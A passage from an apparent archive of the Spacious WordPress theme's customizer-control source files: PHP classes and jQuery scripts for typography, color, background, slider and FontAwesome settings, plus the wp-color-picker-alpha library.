); newValue['font-size'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. $.extend( val, newValue ); $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, saveTypographyLineHeight : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), val = JSON.parse( input.val() ), control_name = control_atts.name, controlContainer = control.container.find( '#customize-control-' + control_name ), newValue = { 'line-height' : {} }; controlContainer.find( '.line-height .control-wrap' ).each( function () { var controlValue = $( this ).find( 'input' ).val(); var device = $( this ).find( 'input' ).data( 'device' ); newValue['line-height'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. $.extend( val, newValue ); $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, saveTypographyLetterSpacing : function ( element, name, control_atts ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), val = JSON.parse( input.val() ), control_name = control_atts.name, controlContainer = control.container.find( '#customize-control-' + control_name ), newValue = { 'letter-spacing' : {} }; controlContainer.find( '.letter-spacing .control-wrap' ).each( function () { var controlValue = $( this ).find( 'input' ).val(); var device = $( this ).find( 'input' ).data( 'device' ); newValue['letter-spacing'][device] = controlValue; } ); // Extend/Update the `val` object to include `newValue`'s new data as an object. $.extend( val, newValue ); $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, saveTypographyValue : function ( property, value, element, name ) { var control = this, input = $( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .typography-hidden-value' ), val = JSON.parse( input.val() ); val[property] = value; $( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); name = $( element ).parents( '.customize-control' ).attr( 'id' ); name = name.replace( 'customize-control-', '' ); control.container.trigger( 'spacious_settings_changed', [ control, element, val, name ] ); }, } ); } )( jQuery ); core/custom-controls/color/class-spacious-color-control.php000066600000005754152367043330020246 0ustar00<?php /** * Extend WP_Customize_Control to add the color control. * * Class Spacious_Color_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the color customize control. * * Class Spacious_Color_Control */ class Spacious_Color_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-color'; /** * Enqueue control related scripts/styles. */ public function enqueue() { parent::enqueue(); /** * Color picker strings from WordPress. * * Added since WordPress 5.5 has removed them causing alpha color not appearing issue. */ if ( version_compare( $GLOBALS['wp_version'], '5.5', '>=' ) ) { wp_localize_script( 'wp-color-picker', 'wpColorPickerL10n', array( 'clear' => esc_html__( 'Clear', 'spacious' ), 'clearAriaLabel' => esc_html__( 'Clear color', 'spacious' ), 'defaultString' => esc_html__( 'Default', 'spacious' ), 'defaultAriaLabel' => esc_html__( 'Select default color', 'spacious' ), 'pick' => esc_html__( 'Select Color', 'spacious' ), 'defaultLabel' => esc_html__( 'Color value', 'spacious' ), ) ); } } /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-wrapper"> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <div class="customize-control-content"> <input class="spacious-color-picker-alpha color-picker-hex" type="text" data-alpha-enabled="true" data-default-color="{{ data.default }}" value="{{ data.value }}" /> </div> </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/color/color.js000066600000001400152367043330013446 0ustar00/** * Color picker control JS to handle color picker rendering within customize control. * * File `color.js`. * * @package Spacious */ ( function ( $ ) { $( window ).on( 'load', function () { $( 'html' ).addClass( 'colorpicker-ready' ); } ); wp.customize.controlConstructor[ 'spacious-color' ] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; this.container.find( '.spacious-color-picker-alpha' ).wpColorPicker( { change : function ( event, ui ) { var color = ui.color.toString(); if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) { control.setting.set( color ); } } } ); } } ); } )( jQuery ); core/custom-controls/background/class-spacious-background-control.php000066600000017547152367043330022253 0ustar00<?php /** * Extend WP_Customize_Control to add the background control. * * Class Spacious_Color_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the background customize control. * * Class Spacious_Background_Control */ class Spacious_Background_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-background'; /** * Enqueue control related scripts/styles. */ public function enqueue() { parent::enqueue(); wp_localize_script( 'spacious-customize-controls', 'SpaciousCustomizerControlBackground', array( 'placeholder' => esc_html__( 'No file selected', 'spacious' ), ) ); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <div class="customize-control-content"> <div class="background-color"> <span class="customize-control-title"><?php esc_html_e( 'Background Color', 'spacious' ); ?></span> <input data-name="{{ data.name }}" type="text" data-default-color="{{ data.default['background-color'] }}" data-alpha-enabled="true" value="{{ data.value['background-color'] }}" class="spacious-color-picker-alpha color-picker-hex" /> </div> <div class="background-image"> <span class="customize-control-title"><?php esc_html_e( 'Background Image', 'spacious' ); ?></span> <div class="attachment-media-view background-image-upload"> <# if ( data.value['background-image'] ) { #> <div class="thumbnail thumbnail-image"><img src="{{ data.value['background-image'] }}" alt="" /> </div> <# } else { #> <div class="placeholder"><?php esc_html_e( 'No Image Selected', 'spacious' ); ?></div> <# } #> <div class="actions"> <button data-name="{{ data.name }}" class="button background-image-upload-remove-button<# if ( ! data.value['background-image'] ) { #> hidden <# } #>" > <?php esc_attr_e( 'Remove', 'spacious' ); ?> </button> <button data-name="{{ data.name }}" type="button" class="button background-image-upload-button" > <?php esc_attr_e( 'Select Image', 'spacious' ); ?> </button> </div> </div> </div> <div class="background-repeat"> <span class="customize-control-title"><?php esc_html_e( 'Background Repeat', 'spacious' ); ?></span> <select data-name="{{ data.name }}" {{{ data.inputAttrs }}}> <option value="no-repeat" <# if ( 'no-repeat' === data.value['background-repeat'] ) { #> selected <# } #>><?php esc_html_e( 'No Repeat', 'spacious' ); ?></option> <option value="repeat" <# if ( 'repeat' === data.value['background-repeat'] ) { #> selected <# } #>><?php esc_html_e( 'Repeat All', 'spacious' ); ?></option> <option value="repeat-x" <# if ( 'repeat-x' === data.value['background-repeat'] ) { #> selected <# } #>><?php esc_html_e( 'Repeat Horizontally', 'spacious' ); ?></option> <option value="repeat-y" <# if ( 'repeat-y' === data.value['background-repeat'] ) { #> selected <# } #>><?php esc_html_e( 'Repeat Vertically', 'spacious' ); ?></option> </select> </div> <div class="background-position"> <span class="customize-control-title"><?php esc_html_e( 'Background Position', 'spacious' ); ?></span> <select data-name="{{ data.name }}" {{{ data.inputAttrs }}}> <option value="left top" <# if ( 'left top' === data.value['background-position'] ) { #> selected <# } #>><?php esc_html_e( 'Left Top', 'spacious' ); ?></option> <option value="left center" <# if ( 'left center' === data.value['background-position'] ) { #> selected <# } #>><?php esc_html_e( 'Left Center', 'spacious' ); ?></option> <option value="left bottom" <# if ( 'left bottom' === data.value['background-position'] ) { #> selected <# } #>><?php esc_html_e( 'Left Bottom', 'spacious' ); ?></option> <option value="right top" <# if ( 'right top' === data.value['background-position'] ) { #> selected <# } #>><?php esc_html_e( 'Right Top', 'spacious' ); ?></option> <option value="right center" <# if ( 'right center' === data.value['background-position'] ) { #> selected <# } #>><?php esc_html_e( 'Right Center', 'spacious' ); ?></option> <option value="right bottom" <# if ( 'right bottom' === data.value['background-position'] ) { #> selected <# } #>><?php esc_html_e( 'Right Bottom', 'spacious' ); ?></option> <option value="center top" <# if ( 'center top' === data.value['background-position'] ) { #> selected <# } #>><?php esc_html_e( 'Center Top', 'spacious' ); ?></option> <option value="center center" <# if ( 'center center' === data.value['background-position'] ) { #> selected <# } #>><?php esc_html_e( 'Center Center', 'spacious' ); ?></option> <option value="center bottom" <# if ( 'center bottom' === data.value['background-position'] ) { #> selected <# } #>><?php esc_html_e( 'Center Bottom', 'spacious' ); ?></option> </select> </div> <div class="background-size"> <span class="customize-control-title"><?php esc_html_e( 'Background Size', 'spacious' ); ?></span> <select data-name="{{ data.name }}" {{{ data.inputAttrs }}}> <option value="cover" <# if ( 'cover' === data.value['background-size'] ) { #> selected <# } #>><?php esc_html_e( 'Cover', 'spacious' ); ?></option> <option value="contain" <# if ( 'contain' === data.value['background-size'] ) { #> selected <# } #>><?php esc_html_e( 'Contain', 'spacious' ); ?></option> <option value="auto" <# if ( 'auto' === data.value['background-size'] ) { #> selected <# } #>><?php esc_html_e( 'Auto', 'spacious' ); ?></option> </select> </div> <div class="background-attachment"> <span class="customize-control-title"><?php esc_html_e( 'Background Attachment', 'spacious' ); ?></span> <select data-name="{{ data.name }}" {{{ data.inputAttrs }}}> <option value="scroll" <# if ( 'scroll' === data.value['background-attachment'] ) { #> selected <# } #>><?php esc_html_e( 'Scroll', 'spacious' ); ?></option> <option value="fixed" <# if ( 'fixed' === data.value['background-attachment'] ) { #> selected <# } #>><?php esc_html_e( 'Fixed', 'spacious' ); ?></option> </select> </div> <input class="background-hidden-value" value="{{ JSON.stringify( data.value ) }}" data-name="{{ data.name }}" type="hidden" {{{ data.link }}} > </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/background/background.js000066600000014010152367043330015451 0ustar00/** * Background image control JS to handle the background customize option. * * File `background.js`. * * @package Spacious */ ( function ( $ ) { $( window ).on( 'load', function () { $( 'html' ).addClass( 'colorpicker-ready' ); } ); wp.customize.controlConstructor['spacious-background'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Init background control. control.initSpaciousBackgroundControl(); }, initSpaciousBackgroundControl : function () { var control = this, value = control.setting._value, colorpicker = control.container.find( '.spacious-color-picker-alpha' ); // Hide unnecessary controls by default and show only when background image is set. if ( _.isUndefined( value['background-image'] ) || '' === value['background-image'] ) { control.container.find( '.customize-control-content > .background-repeat' ).hide(); control.container.find( '.customize-control-content > .background-position' ).hide(); control.container.find( '.customize-control-content > .background-size' ).hide(); control.container.find( '.customize-control-content > .background-attachment' ).hide(); } // Background color setting. colorpicker.wpColorPicker( { change : function () { if ( jQuery( 'html' ).hasClass( 'colorpicker-ready' ) ) { setTimeout( function () { control.saveValue( 'background-color', colorpicker.val() ); }, 100 ); } }, clear : function ( event ) { var element = jQuery( event.target ).closest( '.wp-picker-input-wrap' ).find( '.wp-color-picker' )[0]; if ( element ) { control.saveValue( 'background-color', '' ); } } } ); // Background image setting. control.container.on( 'click', '.background-image-upload-button, .thumbnail-image img', function ( e ) { var image = wp.media( { multiple : false } ).open().on( 'select', function () { // This will return the selected image from the Media Uploader, the result is an object. var uploadedImage = image.state().get( 'selection' ).first(), previewImage = uploadedImage.toJSON().sizes.full.url, imageUrl, imageID, imageWidth, imageHeight, preview, removeButton; if ( ! _.isUndefined( uploadedImage.toJSON().sizes.medium ) ) { previewImage = uploadedImage.toJSON().sizes.medium.url; } else if ( ! _.isUndefined( uploadedImage.toJSON().sizes.thumbnail ) ) { previewImage = uploadedImage.toJSON().sizes.thumbnail.url; } imageUrl = uploadedImage.toJSON().sizes.full.url; imageID = uploadedImage.toJSON().id; imageWidth = uploadedImage.toJSON().width; imageHeight = uploadedImage.toJSON().height; // Show extra controls if the value has an image. if ( '' !== imageUrl ) { control.container.find( '.customize-control-content > .background-repeat, .customize-control-content > .background-position, .customize-control-content > .background-size, .customize-control-content > .background-attachment' ).show(); } control.saveValue( 'background-image', imageUrl ); preview = control.container.find( '.placeholder, .thumbnail' ); removeButton = control.container.find( '.background-image-upload-remove-button' ); if ( preview.length ) { preview.removeClass().addClass( 'thumbnail thumbnail-image' ).html( '<img src="' + previewImage + '" alt="" />' ); } if ( removeButton.length ) { removeButton.show(); } } ); e.preventDefault(); } ); control.container.on( 'click', '.background-image-upload-remove-button', function ( e ) { var preview, removeButton; e.preventDefault(); control.saveValue( 'background-image', '' ); preview = control.container.find( '.placeholder, .thumbnail' ); removeButton = control.container.find( '.background-image-upload-remove-button' ); // Hide unnecessary controls. control.container.find( '.customize-control-content > .background-repeat' ).hide(); control.container.find( '.customize-control-content > .background-position' ).hide(); control.container.find( '.customize-control-content > .background-size' ).hide(); control.container.find( '.customize-control-content > .background-attachment' ).hide(); if ( preview.length ) { preview.removeClass().addClass( 'placeholder' ).html( SpaciousCustomizerControlBackground.placeholder ); } if ( removeButton.length ) { removeButton.hide(); } } ); // Background repeat setting. control.container.on( 'change', '.background-repeat select', function () { control.saveValue( 'background-repeat', jQuery( this ).val() ); } ); // Background position setting. control.container.on( 'change', '.background-position select', function () { control.saveValue( 'background-position', jQuery( this ).val() ); } ); // Background size setting. control.container.on( 'change', '.background-size select', function () { control.saveValue( 'background-size', jQuery( this ).val() ); } ); // Background attachment setting. control.container.on( 'change', '.background-attachment select', function () { control.saveValue( 'background-attachment', jQuery( this ).val() ); } ); }, /** * Saves the value. */ saveValue : function ( property, value ) { var control = this, input = jQuery( '#customize-control-' + control.id.replace( '[', '-' ).replace( ']', '' ) + ' .background-hidden-value' ), val = control.setting._value; val[property] = value; jQuery( input ).attr( 'value', JSON.stringify( val ) ).trigger( 'change' ); control.setting.set( val ); } } ); } )( jQuery ); core/custom-controls/slider/class-spacious-slider-control.php000066600000005743152367043330020554 0ustar00<?php /** * Extend WP_Customize_Control to add the slider control. * * Class Spacious_Slider_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the slider customize control. * * Class Spacious_Slider_Control */ class Spacious_Slider_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-slider'; /** * Suffix for slider. * * @var string */ public $suffix = ''; /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['default'] = $this->setting->default; if ( isset( $this->default ) ) { $this->json['default'] = $this->default; } $this->json['value'] = $this->value(); $this->json['link'] = $this->get_link(); $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['suffix'] = $this->suffix; $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <div class="customizer-text"> <# if ( data.label ) { #> <span class="customize-control-title">{{{ data.label }}}</span> <# } #> <# if ( data.description ) { #> <span class="description customize-control-description">{{{ data.description }}}</span> <# } #> </div> <div class="slider-wrapper <# if ( data.description ) { #>slider-description<# } #>"> <input {{{ data.inputAttrs }}} type="range" value="{{ data.value }}" data-reset_value="{{ data.default }}" /> <div class="spacious-range-value"> <input type="number" data-name="{{ data.name }}" class="value spacious-range-input" {{{ data.link }}} value="{{ data.value }}" {{{ data.inputAttrs }}} > <# if ( data.suffix ) { #> <span class="spacious-range-unit">{{ data.suffix }}</span> <# } #> </div> <div class="spacious-slider-reset"> <span class="dashicons dashicons-image-rotate spacious-control-tooltip" title="<?php esc_attr_e( 'Back to default', 'spacious' ); ?>" > </span> </div> </div> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/slider/slider.js000066600000002522152367043330013764 0ustar00/** * Slider control JS to handle the range of the inputs. * * File `slider.js`. * * @package Spacious */ wp.customize.controlConstructor['spacious-slider'] = wp.customize.Control.extend( { ready : function () { 'use strict'; var control = this; // Update the text value. this.container.find( 'input[type=range]' ).on( 'input change', function () { var value = jQuery( this ).val(), input_number = jQuery( this ).closest( '.slider-wrapper' ).find( '.spacious-range-value .value' ); input_number.val( value ); input_number.change(); } ); // Handle the reset button. this.container.find( '.spacious-slider-reset' ).click( function () { var wrapper = jQuery( this ).closest( '.slider-wrapper' ), input_range = wrapper.find( 'input[type=range]' ), input_number = wrapper.find( '.spacious-range-value .value' ), default_value = input_range.data( 'reset_value' ); input_range.val( default_value ); input_number.val( default_value ); input_number.change(); } ); // Save changes. this.container.on( 'input change', 'input[type=number]', function () { var value = jQuery( this ).val(); jQuery( this ).closest( '.slider-wrapper' ).find( 'input[type=range]' ).val( value ); control.setting.set( value ); } ); } } ); core/custom-controls/fontawesome/class-spacious-fontawesome-control.php000066600000005277152367043330022670 0ustar00<?php /** * Extend WP_Customize_Control to add the fontawesome control. * * Class Spacious_Fontawesome_Control * * @package ThemeGrill * @subpackage Spacious * @since Spacious 3.0.0 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Class to extend WP_Customize_Control to add the fontawesome customize control. * * Class Spacious_Fontawesome_Control */ class Spacious_Fontawesome_Control extends Spacious_Customize_Base_Additional_Control { /** * Control's Type. * * @var string */ public $type = 'spacious-fontawesome'; /** * Enqueue control related scripts/styles. */ public function enqueue() { parent::enqueue(); $suffix = ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ? '' : '.min'; // Asset path might be different according to theme. wp_enqueue_style( 'font-awesome', get_template_directory_uri() . apply_filters( 'spacious_fontawesome_src', '/font-awesome/css/font-awesome' ) . $suffix . '.css', false, '4.7.0' ); // Get choices. $fontawesome_array = $this->choices; wp_localize_script( 'spacious-customize-controls', 'SpaciousCustomizerControlFontawesome' . $this->id, $fontawesome_array ); } /** * Refresh the parameters passed to the JavaScript via JSON. * * @see WP_Customize_Control::to_json() */ public function to_json() { parent::to_json(); $this->json['choices'] = $this->choices; $this->json['id'] = $this->id; $this->json['label'] = esc_html( $this->label ); $this->json['description'] = $this->description; $this->json['inputAttrs'] = ''; foreach ( $this->input_attrs as $attr => $value ) { $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" '; } } /** * An Underscore (JS) template for this control's content (but not its container). * * Class variables for this control class are available in the `data` JS object; * export custom variables by overriding {@see WP_Customize_Control::to_json()}. * * @see WP_Customize_Control::print_template() * * @access protected */ protected function content_template() { ?> <label for="_spacious-fontawesome-{{{ data.id }}}"> <# if ( data.label ) { #><span class="customize-control-title">{{{ data.label }}}</span><# } #> <# if ( data.description ) { #><span class="description customize-control-description">{{{ data.description }}}</span><# } #> </label> <div class="spacious-fontawesome-wrapper"> <select {{{ data.inputAttrs }}} id="_spacious-fontawesome-{{{ data.id }}}"></select> </div> <!-- /.spacious-fontawesome-wrapper --> <?php } /** * Don't render the control content from PHP, as it's rendered via JS on load. */ public function render_content() { } } core/custom-controls/fontawesome/fontawesome.js000066600000003024152367043330016074 0ustar00/** * Control: FontAwesome. */ ( function ( $ ) { wp.customize.controlConstructor['spacious-fontawesome'] = wp.customize.Control.extend( { ready: function () { 'use strict'; var control = this; control.initSpaciousFontawesomeControl(); }, initSpaciousFontawesomeControl: function() { var control = this, selector = control.selector, elSelector = $( selector ).find( 'select' ), faData = [], value = control.setting._value, data = window['SpaciousCustomizerControlFontawesome' + this.id], faDataCounter = 0, faSelect; $.each( data, function ( key, value ) { faData[ faDataCounter ] = { id: value, text: value }; faDataCounter++; } ); // Add HTML inside the option element. function formatState( state ) { if ( ! state.id ) { return state.text; } var $state = $( '<span><i class="fa fa-lg ' + state.text + '"></i> ' + state.text + '</span>' ); return $state; }; // Apply selectWoo. faSelect = elSelector.selectWoo( { data: faData, width: '100%', templateResult: formatState, } ); faSelect.val( value ).trigger( 'change' ); faSelect.on( 'change', function () { control.setting.set( elSelector.val() ); } ); }, } ); } )( jQuery ); core/custom-controls/assets/js/wp-color-picker-alpha.min.js000066600000014636152367043330020031 0ustar00!function(e,a){var l,o={version:300};if("wpColorPickerAlpha"in window&&"version"in window.wpColorPickerAlpha){var t=parseInt(window.wpColorPickerAlpha.version,10);if(!isNaN(t)&&o.version<=t)return}Color.fn.hasOwnProperty("to_s")||(Color.fn.to_s=function(o){"hex"===(o=o||"hex")&&this._alpha<1&&(o="rgba");var a="";return"hex"===o?a=this.toString():this.error||(a=this.toCSS(o).replace(/\(\s+/,"(").replace(/\s+\)/,")")),a},window.wpColorPickerAlpha=o,l="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==",e.widget("a8c.iris",e.a8c.iris,{alphaOptions:{alphaEnabled:!1},_getColor:function(o){return o===a&&(o=this._color),this.alphaOptions.alphaEnabled?(o=o.to_s(this.alphaOptions.alphaColorType),this.alphaOptions.alphaColorWithSpace||(o=o.replace(/\s+/g,"")),o):o.toString()},_create:function(){try{this.alphaOptions=this.element.wpColorPicker("instance").alphaOptions}catch(o){}e.extend({},this.alphaOptions,{alphaEnabled:!1,alphaCustomWidth:130,alphaReset:!1,alphaColorType:"hex",alphaColorWithSpace:!1}),this._super()},_addInputListeners:function(i){function o(o){var a=i.val(),t=new Color(a),a=a.replace(/^(#|(rgb|hsl)a?)/,""),r=l.alphaOptions.alphaColorType;i.removeClass("iris-error"),t.error?""!==a&&i.addClass("iris-error"):"hex"===r&&"keyup"===o.type&&a.match(/^[0-9a-fA-F]{3}$/)||t.toIEOctoHex()!==l._color.toIEOctoHex()&&l._setOption("color",l._getColor(t))}var l=this;i.on("change",o).on("keyup",l._debounce(o,100)),l.options.hide&&i.one("focus",function(){l.show()})},_initControls:function(){var t,o,a,r;this._super(),this.alphaOptions.alphaEnabled&&(a=(o=(t=this).controls.strip.clone(!1,!1)).find(".iris-slider-offset"),r={stripAlpha:o,stripAlphaSlider:a},o.addClass("iris-strip-alpha"),a.addClass("iris-slider-offset-alpha"),o.appendTo(t.picker.find(".iris-picker-inner")),e.each(r,function(o,a){t.controls[o]=a}),t.controls.stripAlphaSlider.slider({orientation:"vertical",min:0,max:100,step:1,value:parseInt(100*t._color._alpha),slide:function(o,a){t.active="strip",t._color._alpha=parseFloat(a.value/100),t._change.apply(t,arguments)}}))},_dimensions:function(o){if(this._super(o),this.alphaOptions.alphaEnabled){for(var a=this,t=a.options,r=a.controls.square,o=a.picker.find(".iris-strip"),i=Math.round(a.picker.outerWidth(!0)-(t.border?22:0)),l=Math.round(r.outerWidth()),e=Math.round((i-l)/2),s=Math.round(e/2),n=Math.round(l+2*e+2*s);i<n;)e=Math.round(e-2),s=Math.round(s-1),n=Math.round(l+2*e+2*s);r.css("margin","0"),o.width(e).css("margin-left",s+"px")}},_change:function(){var o,a,t,r=this,i=r.active;r._super(),r.alphaOptions.alphaEnabled&&(o=r.controls,a=parseInt(100*r._color._alpha),t=["rgb("+(t=r._color.toRgb()).r+","+t.g+","+t.b+") 0%","rgba("+t.r+","+t.g+","+t.b+", 0) 100%"],r.picker.closest(".wp-picker-container").find(".wp-color-result"),r.options.color=r._getColor(),o.stripAlpha.css({background:"linear-gradient(to bottom, "+t.join(", ")+"), url("+l+")"}),i&&o.stripAlphaSlider.slider("value",a),r._color.error||r.element.removeClass("iris-error").val(r.options.color),r.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){var o=e(this).data("color");r.alphaOptions.alphaReset&&(r._color._alpha=1,o=r._getColor()),r._setOption("color",o)}))},_paintDimension:function(o,a){var t=this,r=!1;t.alphaOptions.alphaEnabled&&"strip"===a&&(r=t._color,t._color=new Color(r.toString()),t.hue=t._color.h()),t._super(o,a),r&&(t._color=r)},_setOption:function(o,a){var t=this;if("color"!==o||!t.alphaOptions.alphaEnabled)return t._super(o,a);a=""+a,newColor=new Color(a).setHSpace(t.options.mode),newColor.error||t._getColor(newColor)===t._getColor()||(t._color=newColor,t.options.color=t._getColor(),t.active="external",t._change())},color:function(o){return!0===o?this._color.clone():o===a?this._getColor():void this.option("color",o)}}),e.widget("wp.wpColorPicker",e.wp.wpColorPicker,{alphaOptions:{alphaEnabled:!1},_getAlphaOptions:function(){var r=this.element,o=r.data("type")||this.options.type,i=r.data("defaultColor")||r.val(),l={alphaEnabled:r.data("alphaEnabled")||!1,alphaCustomWidth:130,alphaReset:!1,alphaColorType:"rgb",alphaColorWithSpace:!1};return l.alphaEnabled&&(l.alphaEnabled=r.is("input")&&"full"===o),l.alphaEnabled&&(l.alphaColorWithSpace=i&&i.match(/\s/),e.each(l,function(o,a){var t=r.data(o)||a;switch(o){case"alphaCustomWidth":t=t?parseInt(t,10):0,t=isNaN(t)?a:t;break;case"alphaColorType":t.match(/^(hex|(rgb|hsl)a?)$/)||(t=i&&i.match(/^#/)?"hex":i&&i.match(/^hsla?/)?"hsl":a);break;default:t=!!t}l[o]=t})),l},_create:function(){e.support.iris&&(this.alphaOptions=this._getAlphaOptions(),this._super())},_addListeners:function(){if(!this.alphaOptions.alphaEnabled)return this._super();var t=this,r=t.element,i=t.toggler.is("a");this.alphaOptions.defaultWidth=r.width(),this.alphaOptions.alphaCustomWidth&&r.width(parseInt(this.alphaOptions.defaultWidth+this.alphaOptions.alphaCustomWidth,10)),t.toggler.css({position:"relative","background-image":"url("+l+")"}),i?t.toggler.html('<span class="color-alpha" />'):t.toggler.append('<span class="color-alpha" />'),t.colorAlpha=t.toggler.find("span.color-alpha").css({width:"30px",height:"100%",position:"absolute",top:0,"background-color":r.val()}),"ltr"===t.colorAlpha.css("direction")?t.colorAlpha.css({"border-bottom-left-radius":"2px","border-top-left-radius":"2px",left:0}):t.colorAlpha.css({"border-bottom-right-radius":"2px","border-top-right-radius":"2px",right:0}),r.iris({change:function(o,a){t.colorAlpha.css({"background-color":a.color.to_s(t.alphaOptions.alphaColorType)}),e.isFunction(t.options.change)&&t.options.change.call(this,o,a)}}),t.wrap.on("click.wpcolorpicker",function(o){o.stopPropagation()}),t.toggler.click(function(){t.toggler.hasClass("wp-picker-open")?t.close():t.open()}),r.change(function(o){var a=e(this).val();(r.hasClass("iris-error")||""===a||a.match(/^(#|(rgb|hsl)a?)$/))&&(i&&t.toggler.removeAttr("style"),t.colorAlpha.css("background-color",""),e.isFunction(t.options.clear)&&t.options.clear.call(this,o))}),t.button.click(function(o){e(this).hasClass("wp-picker-default")?r.val(t.options.defaultColor).change():e(this).hasClass("wp-picker-clear")&&(r.val(""),i&&t.toggler.removeAttr("style"),t.colorAlpha.css("background-color",""),e.isFunction(t.options.clear)&&t.options.clear.call(this,o),r.trigger("change"))})}}))}(jQuery);core/custom-controls/assets/js/wp-color-picker-alpha.js000066600000042130152367043330017235 0ustar00/**! * wp-color-picker-alpha * * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker * Only run in input and is defined data alpha in true * * Version: 3.0.0 * https://github.com/kallookoo/wp-color-picker-alpha * Licensed under the GPLv2 license or later. */ ( function( $, undef ) { var wpColorPickerAlpha = { 'version' : 300 }; // Always try to use the last version of this script. if ( 'wpColorPickerAlpha' in window && 'version' in window.wpColorPickerAlpha ) { var version = parseInt( window.wpColorPickerAlpha.version, 10 ); if ( ! isNaN( version ) && version >= wpColorPickerAlpha.version ) { return; } } // Prevent multiple initiations if ( Color.fn.hasOwnProperty( 'to_s' ) ) { return; } // Create new method to replace the `Color.toString()` inside the scripts. Color.fn.to_s = function( type ) { type = ( type || 'hex' ); // Change hex to rgba to return the correct color. if ( 'hex' === type && this._alpha < 1 ) { type = 'rgba'; } var color = ''; if ( 'hex' === type ) { color = this.toString(); } else if ( ! this.error ) 